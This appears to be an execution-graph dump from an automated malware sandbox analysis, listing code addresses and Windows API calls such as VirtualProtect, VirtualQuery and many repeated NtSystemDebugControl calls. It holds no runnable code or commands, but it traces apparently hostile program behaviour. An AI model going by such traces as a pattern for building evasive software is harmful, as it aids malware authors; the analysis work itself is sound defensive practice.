                                                                          execution_graph 2838 140001ac3 2844 140001a70 2838->2844 2839 14000199e 2842 140001a0f 2839->2842 2843 1400019e9 VirtualProtect 2839->2843 2840 140001b36 2841 140001ba0 4 API calls 2840->2841 2845 140001b53 2841->2845 2843->2839 2844->2839 2844->2840 2844->2845 1992 140001ae4 1993 140001a70 1992->1993 1994 14000199e 1993->1994 1995 140001b36 1993->1995 1998 140001b53 1993->1998 1997 140001a0f 1994->1997 1999 1400019e9 VirtualProtect 1994->1999 2000 140001ba0 1995->2000 1999->1994 2002 140001bc2 2000->2002 2001 140001c04 memcpy 2001->1998 2002->2001 2004 140001c45 VirtualQuery 2002->2004 2005 140001cf4 2002->2005 2004->2005 2009 140001c72 2004->2009 2006 140001d23 GetLastError 2005->2006 2007 140001d37 2006->2007 2008 140001ca4 VirtualProtect 2008->2001 2008->2006 2009->2001 2009->2008 2037 140001404 2110 140001394 2037->2110 2039 140001413 2040 140001394 2 API calls 2039->2040 2041 140001422 2040->2041 2042 140001394 2 API calls 2041->2042 2043 140001431 2042->2043 2044 140001394 2 API calls 2043->2044 2045 140001440 2044->2045 2046 140001394 2 API calls 2045->2046 2047 14000144f 2046->2047 2048 140001394 2 API calls 2047->2048 2049 14000145e 2048->2049 2050 140001394 2 API calls 2049->2050 2051 14000146d 2050->2051 2052 140001394 2 API calls 2051->2052 2053 14000147c 2052->2053 2054 140001394 2 API calls 2053->2054 2055 14000148b 2054->2055 2056 140001394 2 API calls 2055->2056 2057 14000149a 2056->2057 2058 140001394 2 API calls 2057->2058 2059 1400014a9 2058->2059 2060 140001394 2 API calls 2059->2060 2061 1400014b8 2060->2061 2062 140001394 2 API calls 2061->2062 2063 1400014c7 2062->2063 2064 140001394 2 API calls 2063->2064 2065 1400014d6 2064->2065 2066 1400014e5 2065->2066 2067 140001394 2 API calls 2065->2067 2068 140001394 2 API calls 2066->2068 2067->2066 2069 1400014ef 2068->2069 2070 1400014f4 2069->2070 2071 140001394 2 API calls 2069->2071 2072 140001394 2 API calls 2070->2072 2071->2070 2073 1400014fe 2072->2073 2074 140001503 2073->2074 2075 140001394 2 API calls 2073->2075 2076 140001394 2 API calls 2074->2076 2075->2074 2077 14000150d 2076->2077 2078 140001394 2 API calls 2077->2078 2079 140001512 2078->2079 2080 140001394 2 API calls 2079->2080 2081 140001521 2080->2081 2082 140001394 2 API calls 2081->2082 2083 140001530 2082->2083 2084 140001394 2 API calls 2083->2084 2085 14000153f 2084->2085 2086 140001394 2 API calls 2085->2086 2087 14000154e 2086->2087 2088 140001394 2 API calls 2087->2088 2089 14000155d 2088->2089 2090 140001394 2 API calls 2089->2090 2091 14000156c 2090->2091 2092 140001394 2 API calls 2091->2092 2093 14000157b 2092->2093 2094 140001394 2 API calls 2093->2094 2095 14000158a 2094->2095 2096 140001394 2 API calls 2095->2096 2097 140001599 2096->2097 2098 140001394 2 API calls 2097->2098 2099 1400015a8 2098->2099 2100 140001394 2 API calls 2099->2100 2101 1400015b7 2100->2101 2102 140001394 2 API calls 2101->2102 2103 1400015c6 2102->2103 2104 140001394 2 API calls 2103->2104 2105 1400015d5 2104->2105 2106 140001394 2 API calls 2105->2106 2107 1400015e4 2106->2107 2108 140001394 2 API calls 2107->2108 2109 1400015f3 2108->2109 2111 140005a50 malloc 2110->2111 2112 1400013b8 2111->2112 2113 1400013c6 NtSystemDebugControl 2112->2113 2113->2039 2114 140002104 2115 140002111 EnterCriticalSection 2114->2115 2116 140002218 2114->2116 2117 14000220b LeaveCriticalSection 2115->2117 2121 14000212e 2115->2121 2118 140002272 2116->2118 2120 140002241 DeleteCriticalSection 2116->2120 2117->2116 2119 14000214d TlsGetValue GetLastError 2119->2121 2120->2118 2121->2117 2121->2119 2010 140001e65 2011 140001e67 signal 2010->2011 2012 140001e7c 2011->2012 2014 140001e99 2011->2014 2013 140001e82 signal 2012->2013 2012->2014 2013->2014 2846 140001f47 2847 140001e67 signal 2846->2847 2850 140001e99 2846->2850 2848 140001e7c 2847->2848 2847->2850 2849 140001e82 signal 2848->2849 2848->2850 2849->2850 2015 14000216f 2016 140002185 2015->2016 2017 140002178 InitializeCriticalSection 2015->2017 2017->2016 2018 140001a70 2019 14000199e 2018->2019 2023 140001a7d 2018->2023 2020 140001a0f 2019->2020 2021 1400019e9 VirtualProtect 2019->2021 2021->2019 2022 140001b53 2023->2018 2023->2022 2024 140001b36 2023->2024 2025 140001ba0 4 API calls 2024->2025 2025->2022 2122 140001e10 2123 140001e2f 2122->2123 2124 140001e55 2123->2124 2125 140001ecc 2123->2125 2129 140001eb5 2123->2129 2124->2129 2130 140001f12 signal 2124->2130 2126 140001ed3 signal 2125->2126 2125->2129 2127 140001ee4 2126->2127 2126->2129 2128 140001eea signal 2127->2128 2127->2129 2128->2129 2130->2129 2851 140002050 2852 14000205e EnterCriticalSection 2851->2852 2853 1400020cf 2851->2853 2854 1400020c2 LeaveCriticalSection 2852->2854 2855 140002079 2852->2855 2854->2853 2855->2854 2856 140001fd0 2857 140001fe4 2856->2857 2858 140002033 2856->2858 2857->2858 2859 140001ffd EnterCriticalSection LeaveCriticalSection 2857->2859 2859->2858 2139 140001ab3 2140 140001a70 2139->2140 2140->2139 2141 14000199e 2140->2141 2142 140001b36 2140->2142 2145 140001b53 2140->2145 2144 140001a0f 2141->2144 2146 1400019e9 VirtualProtect 2141->2146 2143 140001ba0 4 API calls 2142->2143 2143->2145 2146->2141 1982 140001394 1986 140005a50 1982->1986 1984 1400013b8 1985 1400013c6 NtSystemDebugControl 1984->1985 1987 140005a6e 1986->1987 1990 140005a9b 1986->1990 1987->1984 1988 140005b43 1989 140005b5f malloc 1988->1989 1991 140005b80 1989->1991 1990->1987 1990->1988 1991->1987 2131 14000219e 2132 140002272 2131->2132 2133 1400021ab EnterCriticalSection 2131->2133 2134 140002265 LeaveCriticalSection 2133->2134 2136 1400021c8 2133->2136 2134->2132 2135 1400021e9 TlsGetValue GetLastError 2135->2136 2136->2134 2136->2135 2026 140001800 2027 140001812 2026->2027 2028 140001835 fprintf 2027->2028 2029 140001000 2030 14000108b __set_app_type 2029->2030 2031 140001040 2029->2031 2032 1400010b6 2030->2032 2031->2030 2033 1400010e5 2032->2033 2035 140001e00 2032->2035 2036 140005fe0 __setusermatherr 2035->2036 2137 140002320 strlen 2138 140002337 2137->2138 2147 140001140 2150 140001160 2147->2150 2149 140001156 2151 1400011b9 2150->2151 2152 14000118b 2150->2152 2153 1400011d3 2151->2153 2154 1400011c7 _amsg_exit 2151->2154 2152->2151 2155 1400011a0 Sleep 2152->2155 2156 140001201 _initterm 2153->2156 2157 14000121a 2153->2157 2154->2153 2155->2151 2155->2152 2156->2157 2173 140001880 2157->2173 2160 14000126a 2161 14000126f malloc 2160->2161 2162 14000128b 2161->2162 2164 1400012d0 2161->2164 2163 1400012a0 strlen malloc memcpy 2162->2163 2163->2163 2163->2164 2184 140003150 2164->2184 2166 140001315 2167 140001344 2166->2167 2168 140001324 2166->2168 2171 140001160 50 API calls 2167->2171 2169 140001338 2168->2169 2170 14000132d _cexit 2168->2170 2169->2149 2170->2169 2172 140001366 2171->2172 2172->2149 2174 1400018a2 2173->2174 2175 140001247 SetUnhandledExceptionFilter 2173->2175 2174->2175 2176 14000194d 2174->2176 2180 140001a20 2174->2180 2175->2160 2177 14000199e 2176->2177 2178 140001ba0 4 API calls 2176->2178 2177->2175 2179 1400019e9 VirtualProtect 2177->2179 2178->2176 2179->2177 2180->2177 2181 140001b53 2180->2181 2182 140001b36 2180->2182 2183 140001ba0 4 API calls 2182->2183 2183->2181 2187 140003166 2184->2187 2185 140003278 wcslen 2258 14000153f 2185->2258 2187->2185 2189 14000346e 2189->2166 2195 140003373 2196 14000341b wcslen 2195->2196 2197 140003431 2196->2197 2199 14000346c 2196->2199 2197->2199 2200 140003456 wcslen 2197->2200 2198 140003531 wcscpy wcscat 2202 140003563 2198->2202 2199->2198 2200->2197 2200->2199 2201 1400035b3 wcscpy wcscat 2204 1400035e9 2201->2204 2202->2201 2203 1400036fe wcscpy wcscat 2205 140003737 2203->2205 2204->2203 2206 140003a92 wcslen 2205->2206 2207 140003aa0 2206->2207 2208 140003adb 2206->2208 2207->2208 2210 140003ac6 wcslen 2207->2210 2209 140003bea wcscpy wcscat 2208->2209 2212 140003c1f 2209->2212 2210->2207 2210->2208 2211 140003c6f wcscpy wcscat 2214 140003ca8 2211->2214 2212->2211 2213 140003ce5 wcscpy wcscat 2216 140003d2c 2213->2216 2214->2213 2215 140003d7e wcscpy wcscat wcslen 2398 14000146d 2215->2398 2216->2215 2221 140003e95 2484 1400014a9 2221->2484 2222 140003fd8 2224 14000145e 2 API calls 2222->2224 2231 140003f2c 2224->2231 2226 140003fc7 2228 14000145e 2 API calls 2226->2228 2227 1400056d7 2228->2231 2230 14000406a wcscpy wcscat wcslen 2238 140004140 2230->2238 2231->2227 2231->2230 2234 140003f20 2235 14000145e 2 API calls 2234->2235 2235->2231 2236 140004235 wcslen 2237 14000153f 2 API calls 2236->2237 2237->2238 2238->2236 2239 1400052fa memcpy 2238->2239 2240 14000442b wcslen 2238->2240 2241 14000469d wcslen 2238->2241 2244 140004f91 wcscpy wcscat wcslen 2238->2244 2247 140004523 wcslen 2238->2247 2250 14000145e NtSystemDebugControl malloc 2238->2250 2251 1400050d3 2238->2251 2252 14000545c memcpy 2238->2252 2253 1400026e0 9 API calls 2238->2253 2254 14000517e wcslen 2238->2254 2256 140004de5 wcscpy wcscat wcslen 2238->2256 2600 1400014d6 2238->2600 2673 140001521 2238->2673 2771 140001431 2238->2771 2239->2238 2645 14000157b 2240->2645 2242 14000153f 2 API calls 2241->2242 2242->2238 2245 140001422 2 API calls 2244->2245 2245->2238 2662 1400015a8 2247->2662 2250->2238 2251->2166 2252->2238 2253->2238 2255 1400015a8 2 API calls 2254->2255 2255->2238 2702 140001422 2256->2702 2259 140001394 2 API calls 2258->2259 2260 14000154e 2259->2260 2261 140001394 2 API calls 2260->2261 2262 14000155d 2261->2262 2263 140001394 2 API calls 2262->2263 2264 14000156c 2263->2264 2265 140001394 2 API calls 2264->2265 2266 14000157b 2265->2266 2267 140001394 2 API calls 2266->2267 2268 14000158a 2267->2268 2269 140001394 2 API calls 2268->2269 2270 140001599 2269->2270 2271 140001394 2 API calls 2270->2271 2272 1400015a8 2271->2272 2273 140001394 2 API calls 2272->2273 2274 1400015b7 2273->2274 2275 140001394 2 API calls 2274->2275 2276 1400015c6 2275->2276 2277 140001394 2 API calls 2276->2277 2278 1400015d5 2277->2278 2279 140001394 2 API calls 2278->2279 2280 1400015e4 2279->2280 2281 140001394 2 API calls 2280->2281 2282 1400015f3 2281->2282 2282->2189 2283 140001503 2282->2283 2284 140001394 2 API calls 2283->2284 2285 14000150d 2284->2285 2286 140001394 2 API calls 2285->2286 2287 140001512 2286->2287 2288 140001394 2 API calls 2287->2288 2289 140001521 2288->2289 2290 140001394 2 API calls 2289->2290 2291 140001530 2290->2291 2292 140001394 2 API calls 2291->2292 2293 14000153f 2292->2293 2294 140001394 2 API calls 2293->2294 2295 14000154e 2294->2295 2296 140001394 2 API calls 2295->2296 2297 14000155d 2296->2297 2298 140001394 2 API calls 2297->2298 2299 14000156c 2298->2299 2300 140001394 2 API calls 2299->2300 2301 14000157b 2300->2301 2302 140001394 2 API calls 2301->2302 2303 14000158a 2302->2303 2304 140001394 2 API calls 2303->2304 2305 140001599 2304->2305 2306 140001394 2 API calls 2305->2306 2307 1400015a8 2306->2307 2308 140001394 2 API calls 2307->2308 2309 1400015b7 2308->2309 2310 140001394 2 API calls 2309->2310 2311 1400015c6 2310->2311 2312 140001394 2 API calls 2311->2312 2313 1400015d5 2312->2313 2314 140001394 2 API calls 2313->2314 2315 1400015e4 2314->2315 2316 140001394 2 API calls 2315->2316 2317 1400015f3 2316->2317 2317->2195 2318 14000156c 2317->2318 2319 140001394 2 API calls 2318->2319 2320 14000157b 2319->2320 2321 140001394 2 API calls 2320->2321 2322 14000158a 2321->2322 2323 140001394 2 API calls 2322->2323 2324 140001599 2323->2324 2325 140001394 2 API calls 2324->2325 2326 1400015a8 2325->2326 2327 140001394 2 API calls 2326->2327 2328 1400015b7 2327->2328 2329 140001394 2 API calls 2328->2329 2330 1400015c6 2329->2330 2331 140001394 2 API calls 2330->2331 2332 1400015d5 2331->2332 2333 140001394 2 API calls 2332->2333 2334 1400015e4 2333->2334 2335 140001394 2 API calls 2334->2335 2336 1400015f3 2335->2336 2336->2195 2337 14000145e 2336->2337 2338 140001394 2 API calls 2337->2338 2339 14000146d 2338->2339 2340 140001394 2 API calls 2339->2340 2341 14000147c 2340->2341 2342 140001394 2 API calls 2341->2342 2343 14000148b 2342->2343 2344 140001394 2 API calls 2343->2344 2345 14000149a 2344->2345 2346 140001394 2 API calls 2345->2346 2347 1400014a9 2346->2347 2348 140001394 2 API calls 2347->2348 2349 1400014b8 2348->2349 2350 140001394 2 API calls 2349->2350 2351 1400014c7 2350->2351 2352 140001394 2 API calls 2351->2352 2353 1400014d6 2352->2353 2354 1400014e5 2353->2354 2355 140001394 2 API calls 2353->2355 2356 140001394 2 API calls 2354->2356 2355->2354 2357 1400014ef 2356->2357 2358 1400014f4 2357->2358 2359 140001394 2 API calls 2357->2359 2360 140001394 2 API calls 2358->2360 2359->2358 2361 1400014fe 2360->2361 2362 140001503 2361->2362 2363 140001394 2 API calls 2361->2363 2364 140001394 2 API calls 2362->2364 2363->2362 2365 14000150d 2364->2365 2366 140001394 2 API calls 2365->2366 2367 140001512 2366->2367 2368 140001394 2 API calls 2367->2368 2369 140001521 2368->2369 2370 140001394 2 API calls 2369->2370 2371 140001530 2370->2371 2372 140001394 2 API calls 2371->2372 2373 14000153f 2372->2373 2374 140001394 2 API calls 2373->2374 2375 14000154e 2374->2375 2376 140001394 2 API calls 2375->2376 2377 14000155d 2376->2377 2378 140001394 2 API calls 2377->2378 2379 14000156c 2378->2379 2380 140001394 2 API calls 2379->2380 2381 14000157b 2380->2381 2382 140001394 2 API calls 2381->2382 2383 14000158a 2382->2383 2384 140001394 2 API calls 2383->2384 2385 140001599 2384->2385 2386 140001394 2 API calls 2385->2386 2387 1400015a8 2386->2387 2388 140001394 2 API calls 2387->2388 2389 1400015b7 2388->2389 2390 140001394 2 API calls 2389->2390 2391 1400015c6 2390->2391 2392 140001394 2 API calls 2391->2392 2393 1400015d5 2392->2393 2394 140001394 2 API calls 2393->2394 2395 1400015e4 2394->2395 2396 140001394 2 API calls 2395->2396 2397 1400015f3 2396->2397 2397->2195 2399 140001394 2 API calls 2398->2399 2400 14000147c 2399->2400 2401 140001394 2 API calls 2400->2401 2402 14000148b 2401->2402 2403 140001394 2 API calls 2402->2403 2404 14000149a 2403->2404 2405 140001394 2 API calls 2404->2405 2406 1400014a9 2405->2406 2407 140001394 2 API calls 2406->2407 2408 1400014b8 2407->2408 2409 140001394 2 API calls 2408->2409 2410 1400014c7 2409->2410 2411 140001394 2 API calls 2410->2411 2412 1400014d6 2411->2412 2413 1400014e5 2412->2413 2414 140001394 2 API calls 2412->2414 2415 140001394 2 API calls 2413->2415 2414->2413 2416 1400014ef 2415->2416 2417 1400014f4 2416->2417 2418 140001394 2 API calls 2416->2418 2419 140001394 2 API calls 2417->2419 2418->2417 2420 1400014fe 2419->2420 2421 140001503 2420->2421 2422 140001394 2 API calls 2420->2422 2423 140001394 2 API calls 2421->2423 2422->2421 2424 14000150d 2423->2424 2425 140001394 2 API calls 2424->2425 2426 140001512 2425->2426 2427 140001394 2 API calls 2426->2427 2428 140001521 2427->2428 2429 140001394 2 API calls 2428->2429 2430 140001530 2429->2430 2431 140001394 2 API calls 2430->2431 2432 14000153f 2431->2432 2433 140001394 2 API calls 2432->2433 2434 14000154e 2433->2434 2435 140001394 2 API calls 2434->2435 2436 14000155d 2435->2436 2437 140001394 2 API calls 2436->2437 2438 14000156c 2437->2438 2439 140001394 2 API calls 2438->2439 2440 14000157b 2439->2440 2441 140001394 2 API calls 2440->2441 2442 14000158a 2441->2442 2443 140001394 2 API calls 2442->2443 2444 140001599 2443->2444 2445 140001394 2 API calls 2444->2445 2446 1400015a8 2445->2446 2447 140001394 2 API calls 2446->2447 2448 1400015b7 2447->2448 2449 140001394 2 API calls 2448->2449 2450 1400015c6 2449->2450 2451 140001394 2 API calls 2450->2451 2452 1400015d5 2451->2452 2453 140001394 2 API calls 2452->2453 2454 1400015e4 2453->2454 2455 140001394 2 API calls 2454->2455 2456 1400015f3 2455->2456 2456->2231 2457 140001530 2456->2457 2458 140001394 2 API calls 2457->2458 2459 14000153f 2458->2459 2460 140001394 2 API calls 2459->2460 2461 14000154e 2460->2461 2462 140001394 2 API calls 2461->2462 2463 14000155d 2462->2463 2464 140001394 2 API calls 2463->2464 2465 14000156c 2464->2465 2466 140001394 2 API calls 2465->2466 2467 14000157b 2466->2467 2468 140001394 2 API calls 2467->2468 2469 14000158a 2468->2469 2470 140001394 2 API calls 2469->2470 2471 140001599 2470->2471 2472 140001394 2 API calls 2471->2472 2473 1400015a8 2472->2473 2474 140001394 2 API calls 2473->2474 2475 1400015b7 2474->2475 2476 140001394 2 API calls 2475->2476 2477 1400015c6 2476->2477 2478 140001394 2 API calls 2477->2478 2479 1400015d5 2478->2479 2480 140001394 2 API calls 2479->2480 2481 1400015e4 2480->2481 2482 140001394 2 API calls 2481->2482 2483 1400015f3 2482->2483 2483->2221 2483->2222 2485 140001394 2 API calls 2484->2485 2486 1400014b8 2485->2486 2487 140001394 2 API calls 2486->2487 2488 1400014c7 2487->2488 2489 140001394 2 API calls 2488->2489 2490 1400014d6 2489->2490 2491 1400014e5 2490->2491 2492 140001394 2 API calls 2490->2492 2493 140001394 2 API calls 2491->2493 2492->2491 2494 1400014ef 2493->2494 2495 1400014f4 2494->2495 2496 140001394 2 API calls 2494->2496 2497 140001394 2 API calls 2495->2497 2496->2495 2498 1400014fe 2497->2498 2499 140001503 2498->2499 2500 140001394 2 API calls 2498->2500 2501 140001394 2 API calls 2499->2501 2500->2499 2502 14000150d 2501->2502 2503 140001394 2 API calls 2502->2503 2504 140001512 2503->2504 2505 140001394 2 API calls 2504->2505 2506 140001521 2505->2506 2507 140001394 2 API calls 2506->2507 2508 140001530 2507->2508 2509 140001394 2 API calls 2508->2509 2510 14000153f 2509->2510 2511 140001394 2 API calls 2510->2511 2512 14000154e 2511->2512 2513 140001394 2 API calls 2512->2513 2514 14000155d 2513->2514 2515 140001394 2 API calls 2514->2515 2516 14000156c 2515->2516 2517 140001394 2 API calls 2516->2517 2518 14000157b 2517->2518 2519 140001394 2 API calls 2518->2519 2520 14000158a 2519->2520 2521 140001394 2 API calls 2520->2521 2522 140001599 2521->2522 2523 140001394 2 API calls 2522->2523 2524 1400015a8 2523->2524 2525 140001394 2 API calls 2524->2525 2526 1400015b7 2525->2526 2527 140001394 2 API calls 2526->2527 2528 1400015c6 2527->2528 2529 140001394 2 API calls 2528->2529 2530 1400015d5 2529->2530 2531 140001394 2 API calls 2530->2531 2532 1400015e4 2531->2532 2533 140001394 2 API calls 2532->2533 2534 1400015f3 2533->2534 2534->2226 2535 140001440 2534->2535 2536 140001394 2 API calls 2535->2536 2537 14000144f 2536->2537 2538 140001394 2 API calls 2537->2538 2539 14000145e 2538->2539 2540 140001394 2 API calls 2539->2540 2541 14000146d 2540->2541 2542 140001394 2 API calls 2541->2542 2543 14000147c 2542->2543 2544 140001394 2 API calls 2543->2544 2545 14000148b 2544->2545 2546 140001394 2 API calls 2545->2546 2547 14000149a 2546->2547 2548 140001394 2 API calls 2547->2548 2549 1400014a9 2548->2549 2550 140001394 2 API calls 2549->2550 2551 1400014b8 2550->2551 2552 140001394 2 API calls 2551->2552 2553 1400014c7 2552->2553 2554 140001394 2 API calls 2553->2554 2555 1400014d6 2554->2555 2556 1400014e5 2555->2556 2557 140001394 2 API calls 2555->2557 2558 140001394 2 API calls 2556->2558 2557->2556 2559 1400014ef 2558->2559 2560 1400014f4 2559->2560 2561 140001394 2 API calls 2559->2561 2562 140001394 2 API calls 2560->2562 2561->2560 2563 1400014fe 2562->2563 2564 140001503 2563->2564 2565 140001394 2 API calls 2563->2565 2566 140001394 2 API calls 2564->2566 2565->2564 2567 14000150d 2566->2567 2568 140001394 2 API calls 2567->2568 2569 140001512 2568->2569 2570 140001394 2 API calls 2569->2570 2571 140001521 2570->2571 2572 140001394 2 API calls 2571->2572 2573 140001530 2572->2573 2574 140001394 2 API calls 2573->2574 2575 14000153f 2574->2575 2576 140001394 2 API calls 2575->2576 2577 14000154e 2576->2577 2578 140001394 2 API calls 2577->2578 2579 14000155d 2578->2579 2580 140001394 2 API calls 2579->2580 2581 14000156c 2580->2581 2582 140001394 2 API calls 2581->2582 2583 14000157b 2582->2583 2584 140001394 2 API calls 2583->2584 2585 14000158a 2584->2585 2586 140001394 2 API calls 2585->2586 2587 140001599 2586->2587 2588 140001394 2 API calls 2587->2588 2589 1400015a8 2588->2589 2590 140001394 2 API calls 2589->2590 2591 1400015b7 2590->2591 2592 140001394 2 API calls 2591->2592 2593 1400015c6 2592->2593 2594 140001394 2 API calls 2593->2594 2595 1400015d5 2594->2595 2596 140001394 2 API calls 2595->2596 2597 1400015e4 2596->2597 2598 140001394 2 API calls 2597->2598 2599 1400015f3 2598->2599 2599->2226 2599->2234 2601 1400014e5 2600->2601 2602 140001394 2 API calls 2600->2602 2603 140001394 2 API calls 2601->2603 2602->2601 2604 1400014ef 2603->2604 2605 1400014f4 2604->2605 2606 140001394 2 API calls 2604->2606 2607 140001394 2 API calls 2605->2607 2606->2605 2608 1400014fe 2607->2608 2609 140001503 2608->2609 2610 140001394 2 API calls 2608->2610 2611 140001394 2 API calls 2609->2611 2610->2609 2612 14000150d 2611->2612 2613 140001394 2 API calls 2612->2613 2614 140001512 2613->2614 2615 140001394 2 API calls 2614->2615 2616 140001521 2615->2616 2617 140001394 2 API calls 2616->2617 2618 140001530 2617->2618 2619 140001394 2 API calls 2618->2619 2620 14000153f 2619->2620 2621 140001394 2 API calls 2620->2621 2622 14000154e 2621->2622 2623 140001394 2 API calls 2622->2623 2624 14000155d 2623->2624 2625 140001394 2 API calls 2624->2625 2626 14000156c 2625->2626 2627 140001394 2 API calls 2626->2627 2628 14000157b 2627->2628 2629 140001394 2 API calls 2628->2629 2630 14000158a 2629->2630 2631 140001394 2 API calls 2630->2631 2632 140001599 2631->2632 2633 140001394 2 API calls 2632->2633 2634 1400015a8 2633->2634 2635 140001394 2 API calls 2634->2635 2636 1400015b7 2635->2636 2637 140001394 2 API calls 2636->2637 2638 1400015c6 2637->2638 2639 140001394 2 API calls 2638->2639 2640 1400015d5 2639->2640 2641 140001394 2 API calls 2640->2641 2642 1400015e4 2641->2642 2643 140001394 2 API calls 2642->2643 2644 1400015f3 2643->2644 2644->2238 2646 140001394 2 API calls 2645->2646 2647 14000158a 2646->2647 2648 140001394 2 API calls 2647->2648 2649 140001599 2648->2649 2650 140001394 2 API calls 2649->2650 2651 1400015a8 2650->2651 2652 140001394 2 API calls 2651->2652 2653 1400015b7 2652->2653 2654 140001394 2 API calls 2653->2654 2655 1400015c6 2654->2655 2656 140001394 2 API calls 2655->2656 2657 1400015d5 2656->2657 2658 140001394 2 API calls 2657->2658 2659 1400015e4 2658->2659 2660 140001394 2 API calls 2659->2660 2661 1400015f3 2660->2661 2661->2238 2663 140001394 2 API calls 2662->2663 2664 1400015b7 2663->2664 2665 140001394 2 API calls 2664->2665 2666 1400015c6 2665->2666 2667 140001394 2 API calls 2666->2667 2668 1400015d5 2667->2668 2669 140001394 2 API calls 2668->2669 2670 1400015e4 2669->2670 2671 140001394 2 API calls 2670->2671 2672 1400015f3 2671->2672 2672->2238 2674 140001394 2 API calls 2673->2674 2675 140001530 2674->2675 2676 140001394 2 API calls 2675->2676 2677 14000153f 2676->2677 2678 140001394 2 API calls 2677->2678 2679 14000154e 2678->2679 2680 140001394 2 API calls 2679->2680 2681 14000155d 2680->2681 2682 140001394 2 API calls 2681->2682 2683 14000156c 2682->2683 2684 140001394 2 API calls 2683->2684 2685 14000157b 2684->2685 2686 140001394 2 API calls 2685->2686 2687 14000158a 2686->2687 2688 140001394 2 API calls 2687->2688 2689 140001599 2688->2689 2690 140001394 2 API calls 2689->2690 2691 1400015a8 2690->2691 2692 140001394 2 API calls 2691->2692 2693 1400015b7 2692->2693 2694 140001394 2 API calls 2693->2694 2695 1400015c6 2694->2695 2696 140001394 2 API calls 2695->2696 2697 1400015d5 2696->2697 2698 140001394 2 API calls 2697->2698 2699 1400015e4 2698->2699 2700 140001394 2 API calls 2699->2700 2701 1400015f3 2700->2701 2701->2238 2703 140001394 2 API calls 2702->2703 2704 140001431 2703->2704 2705 140001394 2 API calls 2704->2705 2706 140001440 2705->2706 2707 140001394 2 API calls 2706->2707 2708 14000144f 2707->2708 2709 140001394 2 API calls 2708->2709 2710 14000145e 2709->2710 2711 140001394 2 API calls 2710->2711 2712 14000146d 2711->2712 2713 140001394 2 API calls 2712->2713 2714 14000147c 2713->2714 2715 140001394 2 API calls 2714->2715 2716 14000148b 2715->2716 2717 140001394 2 API calls 2716->2717 2718 14000149a 2717->2718 2719 140001394 2 API calls 2718->2719 2720 1400014a9 2719->2720 2721 140001394 2 API calls 2720->2721 2722 1400014b8 2721->2722 2723 140001394 2 API calls 2722->2723 2724 1400014c7 2723->2724 2725 140001394 2 API calls 2724->2725 2726 1400014d6 2725->2726 2727 1400014e5 2726->2727 2728 140001394 2 API calls 2726->2728 2729 140001394 2 API calls 2727->2729 2728->2727 2730 1400014ef 2729->2730 2731 1400014f4 2730->2731 2732 140001394 2 API calls 2730->2732 2733 140001394 2 API calls 2731->2733 2732->2731 2734 1400014fe 2733->2734 2735 140001503 2734->2735 2736 140001394 2 API calls 2734->2736 2737 140001394 2 API calls 2735->2737 2736->2735 2738 14000150d 2737->2738 2739 140001394 2 API calls 2738->2739 2740 140001512 2739->2740 2741 140001394 2 API calls 2740->2741 2742 140001521 2741->2742 2743 140001394 2 API calls 2742->2743 2744 140001530 2743->2744 2745 140001394 2 API calls 2744->2745 2746 14000153f 2745->2746 2747 140001394 2 API calls 2746->2747 2748 14000154e 2747->2748 2749 140001394 2 API calls 2748->2749 2750 14000155d 2749->2750 2751 140001394 2 API calls 2750->2751 2752 14000156c 2751->2752 2753 140001394 2 API calls 2752->2753 2754 14000157b 2753->2754 2755 140001394 2 API calls 2754->2755 2756 14000158a 2755->2756 2757 140001394 2 API calls 2756->2757 2758 140001599 2757->2758 2759 140001394 2 API calls 2758->2759 2760 1400015a8 2759->2760 2761 140001394 2 API calls 2760->2761 2762 1400015b7 2761->2762 2763 140001394 2 API calls 2762->2763 2764 1400015c6 2763->2764 2765 140001394 2 API calls 2764->2765 2766 1400015d5 2765->2766 2767 140001394 2 API calls 2766->2767 2768 1400015e4 2767->2768 2769 140001394 2 API calls 2768->2769 2770 1400015f3 2769->2770 2770->2238 2772 140001394 2 API calls 2771->2772 2773 140001440 2772->2773 2774 140001394 2 API calls 2773->2774 2775 14000144f 2774->2775 2776 140001394 2 API calls 2775->2776 2777 14000145e 2776->2777 2778 140001394 2 API calls 2777->2778 2779 14000146d 2778->2779 2780 140001394 2 API calls 2779->2780 2781 14000147c 2780->2781 2782 140001394 2 API calls 2781->2782 2783 14000148b 2782->2783 2784 140001394 2 API calls 2783->2784 2785 14000149a 2784->2785 2786 140001394 2 API calls 2785->2786 2787 1400014a9 2786->2787 2788 140001394 2 API calls 2787->2788 2789 1400014b8 2788->2789 2790 140001394 2 API calls 2789->2790 2791 1400014c7 2790->2791 2792 140001394 2 API calls 2791->2792 2793 1400014d6 2792->2793 2794 1400014e5 2793->2794 2795 140001394 2 API calls 2793->2795 2796 140001394 2 API calls 2794->2796 2795->2794 2797 1400014ef 2796->2797 2798 1400014f4 2797->2798 2799 140001394 2 API calls 2797->2799 2800 140001394 2 API calls 2798->2800 2799->2798 2801 1400014fe 2800->2801 2802 140001503 2801->2802 2803 140001394 2 API calls 2801->2803 2804 140001394 2 API calls 2802->2804 2803->2802 2805 14000150d 2804->2805 2806 140001394 2 API calls 2805->2806 2807 140001512 2806->2807 2808 140001394 2 API calls 2807->2808 2809 140001521 2808->2809 2810 140001394 2 API calls 2809->2810 2811 140001530 2810->2811 2812 140001394 2 API calls 2811->2812 2813 14000153f 2812->2813 2814 140001394 2 API calls 2813->2814 2815 14000154e 2814->2815 2816 140001394 2 API calls 2815->2816 2817 14000155d 2816->2817 2818 140001394 2 API calls 2817->2818 2819 14000156c 2818->2819 2820 140001394 2 API calls 2819->2820 2821 14000157b 2820->2821 2822 140001394 2 API calls 2821->2822 2823 14000158a 2822->2823 2824 140001394 2 API calls 2823->2824 2825 140001599 2824->2825 2826 140001394 2 API calls 2825->2826 2827 1400015a8 2826->2827 2828 140001394 2 API calls 2827->2828 2829 1400015b7 2828->2829 2830 140001394 2 API calls 2829->2830 2831 1400015c6 2830->2831 2832 140001394 2 API calls 2831->2832 2833 1400015d5 2832->2833 2834 140001394 2 API calls 2833->2834 2835 1400015e4 2834->2835 2836 140001394 2 API calls 2835->2836 2837 1400015f3 2836->2837 2837->2238

                                                                          Callgraph

                                                                          • Executed
                                                                          • Not Executed
                                                                          • Opacity -> Relevance
                                                                          • Disassembly available
